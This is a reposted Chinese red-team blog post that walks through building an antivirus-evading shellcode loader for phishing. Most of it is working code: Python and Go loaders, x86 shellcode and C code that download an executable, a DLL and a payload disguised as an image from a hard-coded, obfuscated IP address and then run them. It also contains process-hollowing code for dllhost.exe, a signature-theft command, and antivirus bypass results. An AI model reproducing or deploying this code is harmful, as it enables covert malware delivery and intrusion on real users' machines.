转于:zpchcbd HACK学习呀 2023-04-01 09:43 发表于广东
前言 之前hvv的时候有条件钓鱼的情况下也没有想着去尝试,一方面是免杀的工作没准备好。 一方面是如何钓好鱼,发现这些都需要提前花大量的时间先去准备好,所以这篇写了shellcode白加黑加载器工具方便钓鱼之后一系列的权限维持和上线的操作 追求更好的免杀效果可以参考重写beacon相关的文章 参考文章:https://www.cnblogs.com/zpchcbd/p/15947246.html 如何编写shellcode2022.11.15:花了几天写了这个,但是发现对于钓鱼的话效果其实还是不行,所以这篇就单纯记录下了,白加黑的方式还是更适合做权限维持,这篇笔记仅供大家参考 0X00 思维导图0X01 启动为了更好的起到免杀和适配环境原因,所以启动的四步操作均通过汇编来进行实现,之后各个语言只需要通过shellcode加载器进行加载这段shellcode即可 python shellcode loader import ctypesimport sys
shellcode = bytes.fromhex(sys.argv[1].strip())
shellcode = bytearray(shellcode)# 设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64# 申请内存ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcodebuf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))# 创建一个线程从shellcode防止位置首地址开始执行handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))# 等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))golang shellcode loader func loader2(sc []byte) {// 获取当前进程的句柄 pHandle, _ := syscall.GetCurrentProcess() Protect := windows.PAGE_EXECUTE_READWRITE// 为shellcode分配足够大小的内存 addr, _, _ := VirtualAllocEx.Call(uintptr(pHandle), 0, uintptr(len(sc)), windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)// 将shellcode写入内存当中 WriteProcessMemory.Call(uintptr(pHandle), addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))//修改进程的保护属性为可读写可执行 VirtualProtectEx.Call(uintptr(pHandle), addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&Protect)))//创建线程执行shellcode x,_, _ := CreateRemoteThread.Call(uintptr(pHandle), 0, 0, addr, 0, 0, 0) for{
}}信域为了更好的规避杀毒的流量分析,自己把相关的后续操作全部都放在相对域名信任度高的地方,所以这里存储的东西我都放在了公开存储服务器上 上线签名python sigthief.py -i dbgview.exe -t loader.exe -o loader_a.exe维持(未实现) 0X02 代码实现汇编版本asm_loader.asm .386.model flat,stdcall.stack 4096
.codeassume fs:nothingmain proc xor ecx, ecx mov eax, fs:[ecx + 30h] nop mov eax, [eax + 0ch] nop mov esi, [eax + 14h] nop lodsd nop xchg eax, esi nop lodsd nop mov ebx, [eax + 10h] nop mov edx, [ebx + 3ch] add edx, ebx nop mov edx, [edx + 78h] nop add edx, ebx nop mov esi, [edx + 20h] nop add esi, ebx nop xor ecx, ecx
get_function: inc ecx ; Increment the ordinal lodsd ; Get name offset add eax, ebx ; Get function name cmp dword ptr[eax], 50746547h ; GetP jnz get_function ; cmp dword ptr[eax + 4h], 41636f72h ; rocA jnz get_function ; cmp dword ptr[eax + 8h], 65726464h ; ddre jnz get_function ; mov esi, [edx + 24h] ; ESI = Offset ordinals add esi, ebx ; ESI = Ordinals table mov cx, [esi + ecx * 2] ; Number of function dec ecx ; mov esi, [edx + 1ch] ; Offset address table add esi, ebx ; ESI = Address table mov edx, [esi + ecx * 4] ; EDX = Pointer(offset) add edx, ebx ; EDX = GetProcAddress
xor ecx, ecx ; ECX = 0 push ebx ; Kernel32 base address push edx ; GetProcAddress push ecx ; 0 push 41797261h ; aryA nop push 7262694ch ; Libr nop push 64616f4ch ; Load push esp ; "LoadLibrary" push ebx ; Kernel32 base address call edx ; GetProcAddress(LL)
add esp, 0ch ; pop "LoadLibrary" pop ecx ; ECX = 0
; 获取inseng.dll模块 push eax ; EAX = LoadLibrary push ecx push 6c6ch ; ll nop push 642e676eh ; ng.d nop push 65736e69h ; inse push esp ; "inseng.dll" call eax ; LoadLibrary("inseng.dll")
add esp, 0ch ; Clean stack pop ecx ;
mov edx, [esp + 4h] ; EDX = GetProcAddress push edx
; GetProcAddress(DownloadFile) 导出函数 xor ecx, ecx ; ECX = 0 push ecx push 656C6946h ; eilF nop push 64616F6Ch ; daol nop push 6E776F44h ; nwoD nop push esp; "DownloadFile" push eax; kernel32.dll address call edx; GetProcAddress(DownloadFile)
add esp, 0ch; Cleanup stack pop ecx; push eax; save DownloadFile function
; DownloadFile("http://xxxx/test.exe", "C:\\ProgramData\\test.exe", 1);
xor ecx,ecx xor ebx,ebx ; http://xxxx/test.exe push 65h ; e nop push 78652E66h ; xe.f nop push 64507573h ; dPus nop push 694A2F33h ; iJ/3 nop push 36312E37h ; 61.7 nop push 30312E33h ; 01.3 nop push 34312E33h ; 41.3 nop push 342F2F3Ah ; 4//: nop push 70747468h ; ptth
; C:\ProgramData\test.exe push 6578h nop push 652e6664h nop push 50757369h nop push 4A5C6174h nop push 61646D61h nop push 72676F72h nop push 705c3a43h push 1 lea ecx, [esp + 4h] push ecx lea ecx, [esp + 24h] push ecx call eax
add esp, 38h ; Cleanup stack mov eax, [esp+4h] ;
; DownloadFile("http://xxx/sqlite3.dll", "C:\\ProgramData\\sqlite3.dll", 1); xor ecx,ecx xor ebx,ebx
; http://xxx/sqlite3.dll push 6Ch ; l nop push 6C642E33h ; ld.3 nop push 6574696Ch ; etil nop push 71732F33h ; qs/3 nop push 36312E37h ; 61.7 nop push 30312E33h ; 01.3 nop push 34312E33h ; 41.3 nop push 342F2F3Ah ; 4//: nop push 70747468h ; ptth
; C:\ProgramData\sqlite3.dll push 6C6Ch ; ll nop push 642E3365h ; d.3e nop push 74696C71h ; tilq nop push 735C6174h ; s/at nop push 61646D61h ; adma nop push 72676F72h ; rgor nop push 705c3a43h ; P/:c push 1 lea ecx, [esp + 4h] push ecx lea ecx, [esp + 24h] push ecx mov eax, [esp + 4ch] call eax
add esp, 38h; Cleanup stack mov eax, [esp+4h]; xor ecx, ecx
; DownloadFile("http://xxx/g.bmp", "C:\\ProgramData\\g.bmp", 1); xor ecx,ecx xor ebx,ebx
; http://xxx/g.bmp push 706d62h ; pmb nop push 2e672F33h ; .g/3 nop push 36312E37h ; 61.7 nop push 30312E33h ; 01.3 nop push 34312E33h ; 41.3 nop push 342F2F3Ah ; 4//: nop push 70747468h ; ptth
; C:\ProgramData\gg.bmp push 70h nop push 6d622e67h nop push 675C6174h nop push 61646D61h nop push 72676F72h nop push 705c3a43h push 1 lea ecx, [esp + 4h] push ecx lea ecx, [esp + 20h] push ecx mov eax, [esp + 40h] call eax
add esp, 34h; Cleanup stack xor ecx, ecx
;get WinExec to exec pdf.exe from kernel32.dll
mov eax, [esp] ; EAX = LoadLibrary push ecx push 6c6c642eh ; .dll nop push 32336c65h ; el32 nop push 6e72656bh ; kern push esp ; "kernel32.dll" call eax ; LoadLibrary("kernel32.dll")
add esp, 0ch ; Clean stack pop ecx ;
mov edx, [esp + 4h] ; EDX = GetProcAddress push edx ; xor ecx, ecx ; ECX = 0 push ecx ;
mov ecx, 61636578h push ecx ; xeca sub dword ptr[esp + 3h], 61h ; Remove "a" nop push 456e6957h ; push esp ; "WinExec" push eax ; kernel32.dll address call edx ; GetProcAddress(WinExec)
add esp, 8h ; Cleanup stack pop ecx;
xor ecx, ecx ; ECX = 0 xor ebx, ebx push ecx push 6578h nop push 652e6664h nop push 50757369h nop push 4A5C6174h nop push 61646D61h nop push 72676F72h nop push 705c3a43h mov ebx, esp push 0ah push ebx
call eax ; calc add esp, 1ch ; Clean stack pop ecx;
xor ecx,ecx xor ebx,ebx mov eax, dword ptr[esp+0ch] mov edx, dword ptr[esp] mov ecx, 61737365h ; essa push ecx sub dword ptr[esp + 3h], 61h ; Remove "a" push 636f7250h ; Proc nop push 74697845h ; Exit push esp ; ExitProcess push eax ; kernel32.dll base address call edx ; GetProc(ExitProcess) xor ecx, ecx ; ECX = 0 push ecx ; Return code = 0 call eax ; ExitProcess
main endpend mainC语言版本#include<iostream>#include<windows.h> #include "base64.h"
using namespace std;
typedef UINT(CALLBACK *t_DownloadFile)(LPCSTR, LPCSTR, int);
int WinMain(
HINSTANCE hInstance,//应用程序的实例句柄
HINSTANCE hPrevInstance,//上一个应用程序的句柄。在win32环境下,参数一般为null,不起作用
LPSTR IpCmdline,//char*argv[]命令行的参数
int nShowCmd//显示命令最大化最小化 ){ // C:\\Windows\\System32\\inseng.dll -> QzpcXFdpbmRvd3NcXFN5c3RlbTMyXFxpbnNlbmcuZGxs HMODULE dll = LoadLibrary(base64_decode(string("QzpcXFdpbmRvd3NcXFN5c3RlbTMyXFxpbnNlbmcuZGxs")).c_str());
// RG93bmxvYWRGaWxl -> DownloadFile t_DownloadFile DownloadFile = (t_DownloadFile)GetProcAddress(dll, base64_decode(string("RG93bmxvYWRGaWxl")).c_str());
// 1 DownloadFile(base64_decode(string("aHR0cDovLzQzLjE0My4xMDcuMTYzL0ppc3VQZGYuZXhl")).c_str(), base64_decode(string("QzpcXFByb2dyYW1EYXRhXFxKaXN1UGRmLmV4ZQ==")).c_str(), 1);
// 2 DownloadFile(base64_decode(string("aHR0cDovLzQzLjE0My4xMDcuMTYzL3NxbGl0ZTMuZGxs")).c_str(), base64_decode(string("QzpcXFByb2dyYW1EYXRhXFxzcWxpdGUzLmRsbA==")).c_str(), 1);
// 3 DownloadFile(base64_decode(string("aHR0cDovLzQzLjE0My4xMDcuMTYzL2cuYm1w")).c_str(), base64_decode(string("QzpcXFByb2dyYW1EYXRhXFxnZy5ibXA=")).c_str(), 1);
// 4 CloseHandle(dll);
PROCESS_INFORMATION ProcessInformation; STARTUPINFOA StartupInfo; memset(&StartupInfo, 0, sizeof(StartupInfo)); StartupInfo.cb = 68;
// C:\\ProgramData\\test.exe -> QzpcXFByb2dyYW1EYXRhXFxKaXN1UGRmLmV4ZQ== CreateProcess(0, (LPSTR)base64_decode(string("QzpcXFByb2dyYW1EYXRhXFxKaXN1UGRmLmV4ZQ==")).c_str(), 0, 0, 0, CREATE_NEW_CONSOLE, 0, 0, &StartupInfo, &ProcessInformation);
//WinExec("C:\\ProgramData\\test.exe", CREATE_NO_WINDOW); TerminateProcess(GetCurrentProcess(), 0); return 0;}DLL部分 FILE* fp; // 定义流式文件操作变量fp,FILE结构体在stdio.h里面有定义 size_t size; // 定义文件字节数变量size unsigned char* buffer; // 定义缓存指针变量 fp = fopen("C:\\ProgramData\\gg.bmp", "rb"); // fseek()负号前移,正号后移 fseek(fp, 0, SEEK_END); // 文件指针指向文件末尾 // ftell()返回给定流 stream 的当前文件位置 size = ftell(fp); // size值为文件大小 fseek(fp, 0, SEEK_SET); // 文件指针指向文件开头 buffer = (unsigned char*)malloc(size); // 动态申请图片大小的内存空间(数组指针) fread(buffer, size, 1, fp); // 从fp读取和显示1个size大小的数据 CloseHandle(fp);
char* v7A = (char*)VirtualAlloc(0, size, 0x3000u, 0x40u); memcpy((void*)v7A, buffer, size);
struct _PROCESS_INFORMATION ProcessInformation; struct _STARTUPINFOA StartupInfo; void* lp_addr; CONTEXT Context; DWORD DwWrite = 0; memset(&StartupInfo, 0, sizeof(StartupInfo)); StartupInfo.cb = 68; BOOL result = CreateProcessA(0, (LPSTR)"dllhost.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo, &ProcessInformation); if (result) { Context.ContextFlags = 65539; GetThreadContext(ProcessInformation.hThread, &Context); lp_addr = VirtualAllocEx(ProcessInformation.hProcess, 0, size, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(ProcessInformation.hProcess, lp_addr, v7A, size, &DwWrite); Context.Eip = (DWORD)v24; SetThreadContext(ProcessInformation.hThread, &Context); ResumeThread(ProcessInformation.hThread); CloseHandle(ProcessInformation.hThread); result = CloseHandle(ProcessInformation.hProcess); } TerminateProcess(GetCurrentProcess(), 0);
0X03 杀软测试
火绒个人版无二开msf生成的shellcode未拦截上线 360安全卫士(非核晶状态)无二开msf生成的shellcode未拦截上线 defender无二开msf生成的shellcode未拦截上线 麦咖啡无二开msf生成的shellcode被拦截
文章来源:博客园 作者:zpchcbd 原文地址:点击阅读原文
|